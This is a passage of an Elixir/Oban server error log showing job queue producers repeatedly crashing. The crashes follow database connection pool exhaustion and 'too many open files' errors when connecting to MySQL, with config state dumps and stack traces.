State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:42:43.239580Z], limit: 20, uuid: "7351ef3d-df6e-4a42-b7b9-b0e7bc7854ab", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:43.239586Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.259225>, refresh_timer: #Reference<0.2525715032.1077411843.259193>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 845ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:42:43.240638Z], limit: 3, uuid: "6ae59440-5ad3-4f15-be87-0d2c466faa2f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:43.240643Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.25619>, refresh_timer: #Reference<0.2525715032.1068498948.25593>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:42:43.240784Z], limit: 50, uuid: "ea4a4dd1-ad94-4aa4-8f49-64beb52d2161", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:43.240788Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.25621>, refresh_timer: #Reference<0.2525715032.1077411843.259217>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 828ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:42:43.240738Z], limit: 5, uuid: "75ea728d-f0a8-4c80-93f6-d01f388eb299", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:43.240746Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.25620>, refresh_timer: #Reference<0.2525715032.1121189889.134545>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:42:55.994000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:57.163000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:42:57.647000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:00.584000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:02.725000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:03.613000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:05.196000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:07.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:42:55.239681Z], limit: 5, uuid: "ae94f5ec-133c-4391-947c-396a8218caec", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:55.239686Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.259564>, refresh_timer: #Reference<0.2525715032.1077411843.259556>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1038ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:42:55.238869Z], limit: 10, uuid: "6a86692a-84be-4364-a728-0eb830ab416e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:55.238875Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.259565>, refresh_timer: #Reference<0.2525715032.1068498948.25749>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:07.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:42:55.239521Z], limit: 50, uuid: "925fb88c-6bf3-416b-b1e8-5e8ccf05819a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:55.239526Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.259569>, refresh_timer: #Reference<0.2525715032.1121189889.134648>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 836ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:42:55.239345Z], limit: 20, uuid: "7b1c2adb-4b5a-4781-a2d6-521b926a8f82", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:55.239350Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.259568>, refresh_timer: #Reference<0.2525715032.1121189889.134642>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:07.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:42:55.239000Z], limit: 5, uuid: "4bf66d74-95b9-45f1-83d8-1cb9b4293c85", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:55.239005Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.259566>, refresh_timer: #Reference<0.2525715032.1068498948.25755>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:07.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
